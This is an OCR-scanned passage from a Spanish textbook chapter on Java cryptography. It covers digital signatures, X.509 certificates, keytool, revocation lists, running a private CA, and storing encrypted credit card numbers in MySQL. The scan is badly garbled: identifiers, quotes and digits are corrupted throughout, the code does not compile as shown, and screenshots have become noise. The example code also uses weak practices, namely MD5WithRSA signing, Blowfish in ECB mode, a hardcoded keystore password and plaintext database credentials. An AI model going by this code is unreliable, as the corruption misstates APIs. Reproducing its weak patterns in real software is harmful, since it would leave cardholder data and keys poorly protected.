byte[] bytesFirma = firma.sign(); //fpaso 4
/i Mostrar en ASCIIX
System.out.println{™\nFirma:\n* +
new BASEE4Encoder().encode(bytesFirma)};

44 Ahora procedemos a verificar la firma. Para ello necesitaremos
J4 reimicializar el objeto Signature con la clave pdblica.
44 Esto hace um reset de los datos de la firma con lo gque hay gue
/4 pasarselos de nuevo para hacer el update.
firma. initVerify(parClaves.getPublic());//paso 5
44 Pasar los datos que fueron firmados
firma.update(datos);//paso 6
ff Verihcar
boolean verificado = false;
try

verificado = firma.verify({bytesFirma);//paso 7
} catch (SignatureException se)} {

verificado = falsej
}
if (werificado) {

System.out.println{"\nFirma wverificada.™);
} else {

System.out.println{"\nFirma incorrecta.™);

Ejecucion FirmaDigital:

Generando un par R3A
Generando el par de claves.

Firma:
MFEF:FEFiﬂDkLh:EEDgHDZEHFSJER 4 B1U0xMAhlPKSBUcsAUGEaKALIMNFEBFALF T} 1R

d0ggsuulMBaE : alZ[ETEPdEiprUZEh CRrcUP Ry Jk XuwpglesgriDMucU JULRCFYR2
107bGP+RE UMgTiYy=

Firma verificada.

Figura 7.10. Captura de pantalla. Ejecucion FirmaDigital
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16.2 Certificados Digitales: Contenidos

Uno de los problemas de las firmas digitales es que en el momento de la
validacidn no se tiene garantia de que la clave piblica que se utiliza sea la correcta.
Los certificados digitales intentan afiadir identidad a una clave publica para garantizar
que el duefio de dicha clave es quien dice ser. En definitiva, un certificado digital
consiste en la clave pablica mas informacion firmada por la clave privada de una
tercera parte denominada autoridad certificadora (certificate authority o CA).

Para codificar certificados en JDK se utiliza el estdndar X.509. Hay tres
versiones (v1, v2, ¥v3) cada una de las cuales afiade ciertas caracteristicas sobre la
anterior.

Por ejemplo, un certificado X.509 v1 contiene la siguiente los siguientes
CAmpos:

Version Campo que indica la version del certificado: V1. V2 o V3.

Serial Number Entero largo que es Gnico para la CA que emite el certificado.

Signature Algorithm Algoritmo que la CA utilizd para firmar el certificado..

Validity Intervalo de validez entre las fechas fiom... ¥ fo._ .

Subject Indica en formato X500 a quién se el emite el certificado.

Key Clave publica del sujetn del certificado

Signature Firma de la CA que habrd de ser verificada contra la elave piblica de
la CA.

Los elementos del formato de un certificado X509 v3 son:

P Version. El campo de version contiene el nimero de versidn del
certificado codificado. Los valores aceptables son 1, 2 v 3.

P Nuamero de serie del certificado. Este campo es un entero asignado por
la autoridad certificadora. Cada certificado emitido por una CA debe
tener un numero de serie tnico.

F ldentificador del algoritmo de firmado. Este campo identifica el
algoritmo empleado para firmar el certificado (como por ejemplo el RSA
oel DSA).

F Nombre del emisor. Este campo identifica la CA gque ha firmado y
emitido el certificado.



@ R-MA

Capitulo 7. CRIPTOGRAF [A AVANZADA PARA APLICACIONES WEB 331

Periodo de validez. Este campo indica el periodo de tiempo durante el
cual ¢l certificado es valido vy la CA estd obligada a mantener informacion
sobre su estado. El campo consiste en una lfecha inicial, la fecha en la
que el certificado empieza a ser valido v la fecha después de la cual el
certificado deja de serlo.

Nombre del sujeto. Este campo identifica la identidad cuya clave pablica
estd certificada en el campo siguiente. El nombre debe ser dnico para
cada entidad certificada por una CA dada, aunque puede emitir mas de un
certificado con ¢l mismo nombre si es para la misma entidad.

Informacidn de clave piblica del sujeto. Este campo contiene la clave
publica, sus parimetros vy el identificador del algoritmo con el que se
emplea la clave.

Identificador tnico del emisor. Este ¢s un campo opcional que permite
reutilizar nombres de emisor,

Identificador dnico del sujeto. Este es un campo opeional que permite
reutilizar nombres de sujeto.

Extensiones.

General Detalles | Ruta de certficacién |

Mostrr: R ~ |

Campo | Valor

[Z]versidn LE]

[E]Miimers de serie 1d 1a ec 1a

|=] Algortme de firma shalS6R5A

[Z] algoritra hash de firma  sha2ss

|| Emizar demo, demo, dema, dem...
[E]vélida desde ridrooles, 06 de abel de ..
|-.-_;]'u-':'|lil:||:- hasta martes, 03 de julio de 20...
[=] sujeta dema, dema, dema, dem...
ol “un A ann e

Figura 7.11. Campos de un certificado

Las extensiones del X.509 v3 proporcionan una manera de asociar
informacion adicional a sujetos, claves pablicas, ete. Un campo de extension tiene

tres partes:
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l. Tipo de extension. Es un identificador de objeto que proporciona
la semdntica y el tipo de informacion (cadena de texto, fecha u otra
estructura de datos) para un valor de extension.

2. Valor de la extension. Este subcampo contiene el valor actual del campo.

3. Indicador de importancia. Es un flag que indica a una aplicacidn si es
seguro ignorar ¢l campo de extension si no reconoce ¢l tipo. El indicador
proporciona una manera de implementar aplicaciones que trabajan de
modo seguro con certificados v evolucionan conforme se van afiadiendo
nuevas exlensiones.

ELITU y el ISOVIEC han desarrollado v publicado un conjunto de extensiones
estdndar en un apéndice al X309 v3:

F Limitaciones basicas. Este campo indica si el sujeto del certificado es
una CA v el maximo nivel de profundidad de un camino de certificacion
a traviés de esa CAL

F Politica de certificacion. Este campo contiene las condiciones bajo las
que la CA emitio el certificado v ¢l propdsite del certificado,

F Uso de la clave. Este campo restringe ¢l propdsito de la clave piblica
certificada, indicando, por ejemplo, que la clave solo se debe usar para
firmar, para la encriptacidén de claves, para la encriptacion de datos, etc.
Este campo suele marcarse como importante, ya que la clave solo estd
certificada para un proposito y usarla para otro no estaria validado en el
certificado.

16.3 Generando Certificados: keystore y keytool

En Java un keystore o almacén de claves es una coleccidn de certificados
y claves. El kestore por defecto se encuentra en el fichero SHOME/ keystore y
contiene dos tipos de entradas:certificados y claves.Las claves son privadas o bien
simétricas v deben estar asociadas a certificados que contienen los sujetos que poseen
dichas claves. No obstante, por razones de seguridad no es recomendable almacenar
claves simétricas en el almacén. En cualquier caso, el almacén usa passwords para
proteger el acceso a las claves privadas.

La herramienta que maneja almacenes de claves y permite crear certificados
es la aplicacion keytool. Algunas de las opeiones de esta aplicacidn son:
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-certreq Crea una peticion de certificado por ejemplo para obtener un eertificado de una
CA, como Verisign, que esté contemplada en esta aplicacidn.

-delete Borra una entrada del keyvstore

-genkey Cienera un par de claves para un certificado auto-firmado. Se puede especificar
el algoritmo con -kevaly. Por ejemplo -keyalg RS54

“keyclone Copia una entrada en el almacén

-keystore Especifica un fichero como almacén.

~prinfeert Muestra un certificado digital.

-selfcert Cienera un certificado digital auto-firmado.

-storepasswd Cambia el password del almacén.

-export Exporta un certificado de un almacén codifidado en DER. 8i queremos

codificacion BASERS hay que aftadir la opeion -rfe.

Por ejemplo, con keytool -v -list listaremos las entradas del fichero keystore.
51 queremos afadir una entrada, identificada por un alias, haremos lo siguiente:
keytool -genkey -alias test donde test es el alias. La aplicacion nos ird pidiendo los
datos para el certificado. Si estamos en windows ¥ no tenemos creado el fichero
keystore hay que hacer lo siguiente:

keytool -genkey -alias test -keystore .keystore
keytool -export -alias test -file micertificado.cer

16.4 Certificados en Java

Las clases para el manejo de ecertificados en Java pertenencen al paguete
java.security.cert:

“

CertificateFactory  Se utiliza para generar instancias de objetos
CertificateFactory a través de getInstanee().

Certificate Clase abstracta que encapsula un certificado.
Los métodos mads importantes de esta clase son: getPublicKey()y verify()

X509Certificate Ohra clase que proporciona métodos para manejar certificados X.509.

Por ejemplo, podemos leer un certificado con extension *_cer ¢ imprimir el
contenido del certificado con el siguiente codigo:
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ImprimirCertificado.java

import java.io.®;
import java.security.cert.CertificateFactory;
import java.security.cert.Certificate;
ff Crea un objecto Certificate a partir de un certificado codificado en
f/f DER almacenado en un fichero & imprime informacidn bdsica
public class ImprimirCertificado {
public static woid main (String[] args) throws Exception {
if (args.length != 1) {
System.err.println{™Uso: java ImprimirCert fichero™);
System.exit(1);
}
CertificatefFactory factoria = Certificatefactory.getInstance{™x.5849");
ff Abrir el fichero
FilelnputStream fis = new FileImputStream (args[e]);:
[/ Generar certificado para el fichero
Certificate cert = factoria.generateCertificate(fis};
fis.close(};
ff Imprimir informacidnm

System.out.printlnicert);

Ejecuciion |pasando por parimetro el nombre de un fichero *.cer|:

8. 14 Criticalitysfalae

IC ED BB
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Figura 7.12. Captura de pantalla. Ejecucion ImprimirCertific ado

1HB.5 Listas de Revocacion de Certificados (CRLs)

Como hemos visto, un certificado estd firmado con la clave privada de una
autoridad certificadora (CA). Un elemento clave en la gestidn de certificados es tener
la posibilidad de que una CA decida en un momento dado que uno de los certificados
que emitid va no es vilido antes de que expire. Por ejemplo, es posible que la clave
privada haya sido comprometida o bien simplemente que el certificado corresponda
a un empleado que ha dejado la empresa,

Un mecanismo declarativo para inutilizar certificados es que la CA hapa
publica una lista negra, denominada lista de revocacion o CRL (Certificate
Revocation List) v que desde la mdquina virtual asociada a nuestra empresa la
descarguemos v comprobemos si los certificados de nuestro almacén de claves han
sido revocados o no.

Una CRL no es més que una estructura de datos que consta de una cabecera
{en la que consignamos datos de la CA ademads de la fecha en la que se publica
y cliando se publicard una actualizacidon) v un cuerpo (con tantas entradas como
certificados revocados y para cada una de ellas consta el nimero de serie del

certificado v su fecha de revocacion).

En Java, la clase gque implementa las CRLs es java.security.cert. XS09CRL
mientras que la que implementa las entradas contenidas en el cuerpo de las mismas
¢s java.security.cert. XS09CRLEntry.

Por egjemplo, desde la pagina https:/iscsans.edu/orls html  podemos
descargar una serie de ficheros *.orl conteniendo distintas listas de
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revocacion para distintas empresas. En esta paging, vemos los certificados
gue se estan revocando diariamente por algunas empresas.
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Figura 7.13. Captura de pantalla. Listado de certificados mevocados

En el siguiente ¢jemplo leemos un fichero con extension *.crl, obteniendo la
informacion relativa al CRL tales como tipo, version, emisor de la CRL, algoritmo de
firma, fechas de actualizacion. Con ¢l método getRevokedCertificates() oblenemos
una lista de certificados revocados. Recorriendo esta lista podemos obtener para cada
certificado,el serial number,la fecha de revocacion y un booleano indicando si tiene
extensiones.

VerCRL.java
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ff Cerrar hchero

fileinputstream.close();

}
catch (Exception exception)

L

exception. printStackTraced);

Este ¢jemplo imprime las propiedades de un fichero CRL que se pasa como
parameiro:

Ejecucion VerCRL:

SotiwarePub )

L 0= 5 I, c. ", L2Intermnct
algoritme de Firma =
01D firmante NEME. 1.1 .9
Fri Ape 29 11:06:10 CEST
11:88:718

exXienslones

numero de Ser I.I-"

L

rdmerg de ser :ii-'l
Fecha de re
extensiones

Figura 7.14. Captura de pantalla. Ejecucion YerGRL

Si ahora queremos comprobar que un determinado certificado ha sido
revocado o no con respecto a una lista, haremos uso del método java.security.cert.
AXS509CRL.sRevaked().
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En la siguiente clase creamos un programa que pasdndole por parametro
un certificado.cer y una lista CRL, nos dice si el certificado se encuentra revocado
dentro de la lista.

Revocado.java

import java.io.®;
import java.security.cert.®;
/f Comprueba si un determinado fichero que llega de entrada estd revocado
ff Para ello revisa la lista de rewvocacidn gque tbién se pasa como entrada
public class Rewocado {

public static woid main (String[] args) throws Exception {

if (args.length != 2) {

System.err.println{“Uso: java Revocado certificado lista™);

System.exit(l};
}
Certificatefactory factoria = Certificatefactory.getInstance(™x.589");
£ abrir el fichero del certificado
FileInputStream fis = new FileImputStream (args[@]);
f/ Generar certificado para el fichero
Certificate cert = factoria.generateCertificate(fis};
fis.close();
ff abrir el fichero de la lista de revocacidn
FileInputStream fisd = new FilelnputStream({args[1]};
f/ Generar objeto XO9CRL
X5@9CRL crl = (X5@9CRL) factoria.generateCRL{fs2};
fisk.close();
f! Testear si el certificado ha sido revocado
if (crl.isRevoked{cert)) {
System.out.println{™Certificado ha sido revocado™};
} else {
System.out.println{™Certificado esta OK");

Ejecucidn Revocado:
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16.6 PKI: Creando nuestra propia CA (Certificate Authorithy)

Una infraestructura de clave publica (Public Key Infraestructure - PKI)
consiste en un conjunto de software capaz de proporcionar los siguientes servicios:
creacion de certificados, revocacion de certificados, validacion de certificados v
proporcionar certificados a clientes.

51 queremos implementar una PKI propia usando Java tenemos que ser
capaces de

implementar los elementos antes descritos. ldealmente, usaremos Java para
crear una CA interna a nuestra empresa. Desde esta CA podremos proporcionar los
SerVICcios necesarios. A continuacion, veremos 2 de esos servicios: firmar nuestros
propios certificados y crear listas de revocacion. Para implementarlos nos basaremos
en el pagquete sun.security.x509.

16.7 Firmar Certificados X509

Supongamos que pretendemos constituirnos en CA para nuestra propia
organizacion. Esto nos permite emitir nuestros propios certificados. De esta forma
podremos emitir certificados de email para que todos los miembros de nuestra
organizacion puedan firmar sus correos electronicos o bien crear certificados para
validar el acceso de los clientes a nuestras bases de datos, ele.

Para ello podemos utilizar las clases del paquete sun.security.x509. Entre
las mas importantes lenemos las siguientes:

XNS09CertImpl Proporciona la implementacion del certifieadn X509, Usaremos
esta clase para crear un nuevo certificado v lo firmaremos con el
método sign).

X509Certlnfo Encapsula los atributos del certificado X 509 v nos periite
instanciar dichos atributos en el momento de crearlo.

XNS00Name MNombre X500 (CN=Conmaon name, OU=Organizational Unit,
O=Organization, L=Location, ST=State, C=Country) del sujeno.

AlgorithmId Identificacion del alpontmo criptogrifico.

CertificateSubjectName Nombre del sujeto del certificado.

Certificate Validity Periodo de validez del certificado.

CertificateSerialNumber Nimero de serie del certificado. Unico para una CA dada.

CertificatelssuerName MNombre x.500 del emisor del certificado (cuando es auto-firmado

coincide con el sujeto).
Certificate AlgorithmID Identificadot del algoritmo usado para firmar el certificado.
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Lo primero es crear un certificado v una clave privada para la CA. Para ello
haremos lo siguiente:

% keytool -genkey -w -alias CA -keyalp RSA -keystore almacen

1a dnidas?

ET=deno,

Figura 7.15. Captura de pantalla. Ejecucion keytool

A continuacién, nos pediran informacién X500 sobre la CA v nos preguntaran
la clave de la CA. Tenemos pués el certificado v la clave de la CA.

El siguiente paso consiste en crear un certificado que queramos firmar con el
certificado de la CA (encadenamiento de certificados):

% keytool -genkey -w -alias miClawve -keyalg RSA -keystore almacen

Y de nuevo contestaremos a las preguntas rellenando los atributos que
queramos. No obstante, el certificado que obtenemos es auto-firmado. Lo interesante
es reemplazarlo por uno firmado por la CA. Para ello usaremos el certificado v la
clave privada de la CA. Con esta informacion, podemos pasar a ejecutar el siguiente
programa en java.

FirmarCertificado. java

import java.io.®;

import java.security.®;

import java.security.cert.*;

import java.util.*;

import sun.security.x5689.X589CertImpl;

import sun.security.x589.X589CertInfo;
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import sun.security.x589.X588Name;

import sun.security.x5689.AlgorithmId;

import sun.security.x589.Certificatelssueriame;

import sun.security.x589.CertificateSubjectName;

import sun.security.x589.CertificateValidity;

import sun.security.x589.CertificateSerialNumber;

import sun.security.x589.Certificatedlporithmid;

public class FirmarCertificado {

ff Algoritmo usado para firmar el certificado

private static final String ALG = “MDSWithRSA™;

ff validez del certificado en dias

private static final int VALIDEZ = 3565;

public static woid main (String[] args) throws Exception {

if (args.length != 4) {

System.err.printlng

“Uso: jawa FirmarCertificado keystore aliasChA aliasCert aliasNuewo™);
System.exit{l};

}

String fich_keystore = args[8];

String aliasCA = args[1];

S5tring aliasCert = args[2];

S5tring aliasMuewvo = args[3];

/Ff Obtener los passwords

Bufferedieader in = new Bufferedfeader

{new InputitreamReader(System.in)};

System.out.print{“Password del keystore: ");

char[] password = in.readLine().toChar&rray();
System.out.print{“Password de la CA (™ + aliasCA + ™): ");
char[] passwordCA = in.readline{).toChararray{);
System.out.print{“Password del certificade (" + aliasCert + ")}: “);
char[] passwordCert = in.readLine(}.toCharArray();

[ Leer el keystore

FilelnputStream input = new FileInputStream(fich_keystore);
Keystore keystore = KeyStore.getInstance(™JKS™);
keystore.load(input, password);

input.close();

ff 1. Leer la clave privada y el certificado de la CA
Privatekey clavePrivadala = (PrivateKey)keystore.getkey(aliasCa, passwordCA);
java.security.cert.Certificate certificadoChA = keystore.getfertificate(aliasca);
ff 2. Crear una implementacidn X.589 para el certificade del CA
byte[] codificado = certificadoCA.getEncoded(};

x5@9CertImpl implementacionCh = new X589CertImpl{codificado);
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ih@g9CertInfo infolh = (X5@9%CertInfo)implementacionChA.get
(¥5@9CertImpl.NAME + .7 + X589CertImpl.INFO);

AZL@BName emisorlA = (X588Mame)infolh.get

{¥589CertInfo.SUBJECT + "." + Certificatelssuerkame.DN_MNAME );

ff 3. Leer la clave privada y el certificade a firmar
java.security.cert.Certificate cert = keystore.getCertificate(aliasCert);
Privatekey clavePrivada = (Privatekey)keystore.getkey{aliasCert, passwordCert);
ff 4. Crear de nuevo otra implementacidn X.589 para el certificadoe a firmar
como CA

codificado = cert.getEncoded();

Lh@9CertImpl implementacionCert = new X589%9CertImpl(codificado);
sh@9CertInfo infolert = (X5@9%CertInfo)implementacionCert.get
(¥5@9CertImpl.NAME + ™." + X589CertImpl.INFO);

ff 5. Especificar y almacenar el periodo de validez

bate inicio = new Datel);

Date fin = new Date(inicio.getTime() + VALIDEZ*24*6B"68*1080L);
CertificateValidity interwvalo = new Certificatevalidity({inicio, fin};
infoCert.set(X589CertInfo.VALIDITY, interwvalo);

ff 6. Crear y almacenar un nimero de serie
infofert.set(X589CertInfo.SERIAL_MNUMBER,

new CertificateSerialNumber((int){inicio.getTime( ),/ 10688)));

ff 7. Poner como emisor a la CA

infoCert.set(X589CertInfo. ISSUER +

. 4 CartificateSubjectMame. DN_NAME, emisorCA);

ff 8. Fijar el algoritmo

AlgorithmId algoritmo = new AlgorithmId{AlgorithmId.sdS5WithRSAEncryption_oid);
infoCert.set(CertificatealgorithmId. MAME + “.™ +
CertificateAlgorithmId. ALGORITHM, algoritmo);

ff 9. Crear el nuevo certificado a partir del info

1h@9CertImpl nuevolert = new X589%CertImpl{infolert});

ff 18. Firmar el nuevo certificado gue acabamos de crear
nuevolert.sign(clavePrivadaCh, ALG);

ff 11. Almacenar en el keystore

keystore.setkeyEntry(aliasNuevo, clavePrivada, passwordlert,

new jawva.security.cert.Certificate[] { nuevoCert } });

fFf 12. Almacenar el keystore en el fichero

FileOutputitream output = new FileOutputstream{fich_keystore);
keystore.store({output, password);

output.close();

}

1
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Ejecucion:
Para aplicar esta firma ejecutamos el siguiente comando:
java FirmarCertificado almacen CA miClave miCertificado

El programa nos pedird 3 contraseiias correspondientes a las del almacen de
claves(keystore),CA v certificado.5i nos equivocamos en algunas de las passwords
saltard una excepeion indicando que no ha podido verificar el password.

ard waes incorrect

Coused b

Figura 7.16. Captura de pantalla. Ejecucion FirmarCertificado

De esta forma habremos afadido un nwevo certificado, llamado
miCertificado, al almacén. Este certificado estd emitido por nuestra CA (ver ¢l
emisor o issuer).Para verlo haremos lo siguiente:

% keytool -list -v -keystore almacen

SN

eentione 9 entradai

91 ;B8;E3;CF; CB;: 73

Figura 7.17. Captura de pantalla. Ejecucion Keytool
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Figura 7.18. Captura de pantalla. Ejecucion Keytool

Para exportar el certificado de la CA a un fichero de modo que podamos

cargarlo en un navegador podemos utilizar la opeidn —export del comando keyvtool:

% keytool -export -alias CA -keystore almacen -file CA.crt
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Figura 7.19. Impotar certificados en el sistema operativo
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1.7 APLICACION: SEGURIDAD EN BASES DE DATOS

1.1.1 Ejemplo: Encriptacion de Tarjetas de Crédito

La seguridad de una base de datos comprende tanto la seguridad en la

conexion como la seguridad (encriptacion) de los datos propiamente dichos. En este

tema nos centraremos en el estudio de esta dltima v lo haremos a través de un ¢jemplo.

Supongamos que tenemos un servidor que acepta datos de tarjetas de créditos v los
almacena en una BD encriptados con su clave piblica. La clave privada solamente
es conocida por el departamento de finanzas de la empresa. Para llevar a cabo esta

tarea definiremos ¢ implementaremos 4 clases:

Clase

CredivCard

CreditCardDBO

Database(perations

CreditCardFactory

CreditCard.java

Descripcidn

Objerto para ineluir datos de la tarjeta:
mAccountlD v mCreditCardNumber. Soporta los métodos
CreditCard(), getAceountlD v getCreditCardNumber().

Objeto que contiene mAcconntID y los datos encriptados de la tarjeta
mEncryptedCCNumber vy mEncryptedSessionKey (namero de
tarjeta v clave sesion). Soporta los méodos :CreditCard DBO),
getAccountI),

getEncryptedCCNumber() y getEncrvpiedSessionkKey().

Maneja el acceso a través de IDBC. Estdn definidas las operaciones:
getAllCreditCard AccountIDs(), loadCreditCard DBOY) v store().
Maneja

objetos CreditCardDBO sin realizar tareas de encriptacion’
desencriptacion.

Maneja la encriptacion vy desencriptacion de las tarjetas. Utiliza una
misma mPublicKey para encriptar. Permite createCreditCard().
find AlCreditCards() v findCreditCard() siempre v cuando la clave
privada apropiada s¢ suministie Como argimento.

public class CreditCard {
private long mAccountID;

private 5tring mCreditCardNumber;

.I'l"

* (Constructor is protected, as CreditCards should

* only be created from the CreditCardFactory.

il

protected CreditCard{long accountID, 5tring creditCardNumber) {

) R -M
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CreditCardFactory.java
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ff 3. Crear objeto con la informacidn encriptada.
creditCardDBO = new CreditCardDBO{accountID, encryptedSessionkey,
encryptedCClumber) ;
ff 4. Almancenar objeto con la informacidn encriptada.
mbBOperations.store(creditCardDBO);
CreditCard creditfard = new CreditCard{accountlD, creditCarddumber);
ff 5. Devolver objeto con la informacidn original.
return creditCard;
1
.If LR
* Given an account id and a private key,
* load a credit card from the database, decrypt it,
* and deliver it as a Creditlard object.
.
* Requires the private key.
-
public CreditCard findCreditfard
{long accountID, PrivatekKey privateKey)
throws InvalidkeyException, IOException{
S5tring creditCardMumber = null;
ff 1. Cargar la informacidn encriptada de la tarjeta desde la BD.
CreditCardDB0 creditCardDBO =
mDbBOperations. loadCreditCardDBOfaccountID)};
try {

ff 2. Desencriptar la clawve sesidn.

Cipher asymmetricCipher = Cipher.getIlnstance

{"RSASECB/PKCS1Padding™) ;
asymmetricCipher.init{Cipher . DECRYPT_MODE, privatekKey);
byte[] sessionkeyBytes = asymmetricCipher.doFinal

{creditCardDBO.getEncryptedSessionkey());

ff 3. Desencriptar el nimeroc de tarjeta con la clave sesidn.

Secretkey symmetricKey = new SecretKeySpec
(sessionKeyBytes, "Blowfish™};
Cipher symmetricCipher = Cipher.getInstance
(“Blowfish/ECB/PKCSSPadding™ ) ;
symmetricCipher.init(Cipher.DECRYPT_MODE, symmetricKey);
byte[] ccNumberBytes = symmetricCipher.doFinal
{(creditCardDBO.getEncryptedCCumber());
creditCardiMumber = new String{ccNumberBytes, "UTFB™);

/4 Need to catch a large number of possible exceptions:
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La clase CreditCardFactory es la mds importante ya que es la que soporta
la creacion, encriptacion, grabacion, acceso y desencriptacion de tarjetas de crédito
{objetos CreditCard).

Supongamos que alguien llama al método CreditCardFactory.
CreateCreditCard() con el propdsito de crear, encriptar ¥ almacenar una nueva
tarjeta (le pasaremos el nimero de cuenta accountlD v ¢l nimero de larjeta de
crédito ereditCardNumber). Se realizan los siguientes pasos:
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1. Crear una clave de sesidn (simétrica) con Blowfish, inicializar un cifrador
y aplicarlo sobre ereditCardNumber con lo que tenemos el nimero de
tarjeta encriptado.

2. Usar la clave puablica (mPublicKey) del CreditCardFactory para
inicializar un cifrador asimétrico v encriptar asi la clave sesion.

3. Crear un nuevo objeto CreditCardDBO con el nimero de cuenta, la
clave sesion encriptada v el nimero de tarjeta encriptado.

4. Crear un objeto DatabaseOperations v llamar al mélodo store pasandole
como argumento ¢l objeto CreditCard DBO gue acabamos de crear. Con
ello almacenamos los datos encriptados.

5. Devolver el objeto CreditCard con los datos sin encriptar.

peticion tCreditCardFactery

|l @ L @

creatsCraditCacd( )

:Databaselperations

M- craditCardDBO

cregreCrad LS a0k ] @
M

srore [(CrddircardDacd] ) —L]

r

iCreditCard

" @ creatatrdditCacd
"

retucn Creditard

Figura 7.20. Diagrama de secuencia de creacion de una nueva tarjeta

Si ahora, por el contrario pretendemos acceder a los datos encriptados de una
tarjeta v luego devolverlos desencriptados accederemos al método AndCreditCard()
pasindole como argumento el nimero de cuenta y la clave privada (aceountID y
privateKey). Se seguirdn los siguientes pasos:

l. Crear un objeto  DatabaseOperations vy llamar al método
loadCreditCardDBO pasindole como argumento el accountlDd. Esta
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llamada devuelve un objeto CreditCardDBO que contiene: nimero de
cuenta, clave sesidon encriptada v nimero de tarjeta encriptado.

2. Uulizar la clave privada para desencriptar la clave sesion.
3. Uulizar la clave sesidn para desencriptar ¢l namero de tagjeta.

4. Devolver un objeto CreditCard con la informacion desencriplada.

peticion :CreditCardFactory iDatabaseCperations

L@

rol SR H Er&di tCardDED

(::} CreditChedDEQ L)

-

L 4

Defurn ——— LEburmn

i
]
raturn CreditCarg @

T

Figura 7.21. Diagrama de secuencia acceso a una tarjeta

F

El método CreditCardFactory., ¢s decir el constructor de la clase, se invoca
cuando desde cualquier programa java queremos modificar o consultar nuestra base
de datos de tarjetas de crédito. Dicho método recibe como argumento un objeto de
la clase Properties que contiene las propiedades almacenadas en nuestro fichero
config.properties. Entonces accede al fichero que contiene el certificado digital (en
nuestro caso el fichero que figura en el campo PublicKeyFilename) y obtiene la clave
pablica. Finalmente construye un objeto DatabaseQperations para implementar las
operaciones de modificacion o de consulta:

public CreditCardFactory (Properties properties) throws I0Exception {
5tring certfilename = properties.getProperty(“PublickeyFilenama"};

try {
ff Acceder a la clave piblica

FilelpputStream fis = new FilelnputStream(certFilename);
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1.1.2 Configuracion de la Base de Datos

En primer lugar, lanzaremos el servidor de MySQL gjecutando desde root:
mysqld d&.

Seguidamente accederemos a MySQL como root (§ mysgl -u root -p) y
crearemos una base de datos v la tablas account y credit_card:

Para finalizar con la configuracion de MySQL afadiremos un usuario de
nombre usuario y de password clave:
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Desde MySQL WorkBench podemos ver la estructura de tablas que se crea:

v & java
!@ Tables
¥ = acount
W[ Columns
% account_id
4 wstomer_name
# balance
% rcert_serial_numher
FE Indexes
}% ForeignKeye
}@ Triggers
v E credit_card
w[# columns
% account_id
4 =ession_key
% o_number
b BT Indexes
bg__ﬂ ForeignKeys

Figura 7.22. Creacion de tablas en MySOL WorkBench

En segundo lugar, asumimos que la clave piblica se obtiene del certificado
certificado.cer. Este certificado se crea v se guarda en ¢l almacén tarjetas.ks y se
exporta en formato DER:

$ keytool -genkey -keyalg RSA -keystore tarjetas.ks
$ keytool -export -file certificado.cer -keystore tarjetas.ks

En tercer lugar creamos un fichero de configuracidn llamado config.
properties

correspondiente a la clase Java.util. Properties en donde especificamos:
1. paih al certificado que contendrd la clave piblica

2. usuario de la BD

3. password de dicho usuario

4. URL de la BD

5. driver de la BD.
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config.properties

PublicKeyFilename:certificado.cer
DEUsername:usuario

DEPassword: clave
DBUrl:jdbc:mysgl://localhest/java
DEDriver:com.mysql.jdbc.Driver

1.8 EJERCICIDS

l. Crear un provecto en java creando la estructura de clases para
creditCard.

Crear dos programas de aplicacién que permiten afadir v consultar
tarjetas de crédito. El primero es CreateTest.java que lea el fichero de
propiedades, eree un CreditCardFactory y almancene el nlimero de
cuenta y la tarjeta de forma cifrada en la tabla credit_card a partir
de los datos que se le pasan por parimetro.Para poder conectarnos
con la base de datos MySQL es necesario afiadir al build path del
proyecto la libreria de conexion con el driver jdbe.Esta libreria la
podemos bajar desde el repositorio de maven frip-/mvarepository.
con/artifact/myvsgl/mysql-connector-fava

= =

Home » mysgl = mg,rsql-cunnect-:lr-ja'.ra

MySQL Connector/J

MySQL Connector, ]

Mys0 mysgl = mysgl-connector-java under EENETs s

MySQL JDBC Type 4 driver

Figura 7.23. Obtener conector MySQL para Java
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-] CreateTest java
&-[] CredtCard fva
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B[] DatabesaCperations. java
B-[1] Ve Test java

¥ Java Build Path
& RESCUNCe
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5 -gh JOE System Lbeary [lavass
= g Beterenoed Libranes

CreateTest.java

package com.example.creditlard;

import java.io.®;

import jawva.util.*;

Jrr

* Creates credit cards and puts them in the

* database, encrypted.

L b

public class CreateTest {

private static final String PROPERTIES_FILE = "config.properties™;
public static woid main{5tring[] args) throws Exception {

if (args:length != 2} {

System.out.println{”Usage: java CreateTest ID CreditCardNumber™};
System.exit(l});

}

long id = Long.parseLong{args[8]);

S5tring cclumber = args[1];

f/f Load the database properties.

Properties properties = new Properties(]};

FilelpputStream fis = new FileInputStream{new File(PROPERTIES_FILE)});
properties.load(fis);

fis.close();

f/ Create the credit card

CreditCardFactory factory = new CreditCardFactory(properties);
CreditCard creditfard = factory.createCreditCard{id, ccumber);

}

}

Si gjecutamos ¢l programa CreateTest 1 1234 5678 9012 3456™, nos
deberia almacenar la informacidon correspodiente a la tarjeta de crédito
de forma cifrada.
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credi_card =
bl B S0 8 G Limito 1000 o e e (10
10 GSELECT ¥ FROM jawa . credit_card;

1| |
| Mo e | o e e [ (e ) O B | expefiepere (G | Wee el Contet T2

:aanunLﬂ | sesson_key oC_number
! M POYH FRrpF B LLE oL 34N CvAN S BRXNP oG oDy Otr...  wiErFYmipDNE oy YEdFREG MO gs1p2 2
. Em =] o

Figura 7.25. Consulta con MySOL Workbench

Para listar la informacidn desencriptada de todas las tarjetas de la BD,
recurriremos a la clase ViewTest.java. Dicha clase consulta, en primer
lugar, el keystore larjetas ks

Para ello hay que suministrar el password correcto para el almacén.
Entonces extrae la clave privada para poder desencriptar la clave sesidn
que a su vez ha permitido encriplar los datos de las tarjetas. Después crea
un CreditCardFactory con las Properties v después llama al método
findANCreditCards() pasindole la clave privada. Este método funciona
haciendo sucesivas llamadas al método findCreditCard() v recogiendo
el resultado en un iterador. Este iterador es el que se usa agui para ir
mostrando todas las tarjetas:

ViewTest.java
package com.example.creditlard;
import java.ioc.®;
import java.security.”®;
import java.util.*;
llftt
* Displays all credit cards in the database,
* after decrypting them with a private key.
"y
public class ViewTest {
// Properties file for the database and public key information
private static final String PROPERTIES_FILE = "config.properties®;
[/ Keystore that holds the private key
private static final String KEYSTORE = ™tarjetas.ks";
[/ Password for the keystore
private static final char[] PASSWORD = {fp',"a",'s’,"s",'"w","0*,'r",'d*]};
Ill'i't
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-

bt )

Attempts to display all credit cards in the database.

@Suppresskarnings({“rawtypes*)
public static woid main{5tring[] args) throws Exception {

]

{4 Load the keystore to retriewve the private key.

S5tring ksType = KeyStore.getDefaultTypel);

KeyStore ks = KeyStore.getInstance(ksType};

FilelnputStream fis = new FilelnputStream(KEYSTORE);

ks.load{fis, PASSWORD) ;

fis.close();

Privatekey privatekey = (PrivateKey)ks.getKey{"mykey"” ,PASSWORD);

{// Load the database properties file.

Properties properties = new Properties();

